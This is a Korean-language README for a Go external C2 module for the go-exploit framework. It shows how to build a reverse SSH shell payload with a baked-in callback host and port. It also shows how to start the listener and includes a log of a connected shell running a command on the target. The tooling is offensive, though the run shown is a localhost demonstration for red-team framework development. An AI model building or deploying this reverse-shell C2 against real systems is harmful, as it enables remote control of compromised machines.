go-exploit용 Go 외부 C2 모듈로, 리버스 SSH 셸을 수신하며, 사용자 정의 C2 프로필을 익스플로잇에 통합하기 위한 서버 리스너와 페이로드 클라이언트를 제공합니다.
go-exploit 외부 C2 모듈로, 리버스 SSH 셸을 지원합니다. 또한 외부 C2 프로필을 원하는 페이로드에 통합하는 방법을 보여주는 데모 역할도 합니다. 목표는 회피 및 고급 기법을 갖춘 완전히 무장된 페이로드를 제공하는 것이 아니라, 더 강력한 회피 모듈을 구현할 수 있고 go-exploit에 쉽게 통합될 수 있는 페이로드를 위한 채널을 만드는 방법을 보여주는 것입니다.
c2ssh 패키지./payload는 익스플로잇에서 사용할 페이로드의 구현을 포함하며, 기능적으로 SSH 클라이언트이자 서버 응답을 기반으로 한 exec 주변의 얇은 래퍼입니다./example은 컴파일된 예제 페이로드를 실행하는 자체 익스플로잇 테스트를 포함합니다go build -ldflags "-s -w -X main.Rshost=127.0.0.1 -X main.Rsport=2223" -o reverse_shell
poptart@grimm $ go run example/exploit.go -lhost 127.0.0.1 -lport 2222 -rhost 127.0.0.1 -rport 1337 -e -fll DEBUG -ell DEBUG -t 0
time=2024-08-06T12:09:02.762-06:00 level=DEBUG msg="Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
time=2024-08-06T12:09:02.763-06:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=1337 ssl=false "ssl auto"=false
time=2024-08-06T12:09:02.763-06:00 level=DEBUG msg="External SSH Listener starting: 127.0.0.1:2222"
time=2024-08-06T12:09:02.766-06:00 level=DEBUG msg="SSH: Handshaking for 127.0.0.1:38878"
time=2024-08-06T12:09:02.768-06:00 level=STATUS msg="Active shell SSH: Connection accepted from [email protected]:38878 session: 451e905e22ffbc7ab6235ad73379eeea2c65ba532405d81a431e1c5159ba1179 (SSH-2.0-OpenSSH_9.7)"
id
time=2024-08-06T12:09:04.725-06:00 level=STATUS msg="Running command on SSH client: 'id'"
time=2024-08-06T12:09:08.812-06:00 level=SUCCESS msg="uid=1000(poptart) gid=100(users) groups=100(users),1(wheel),67(libvirtd)\n"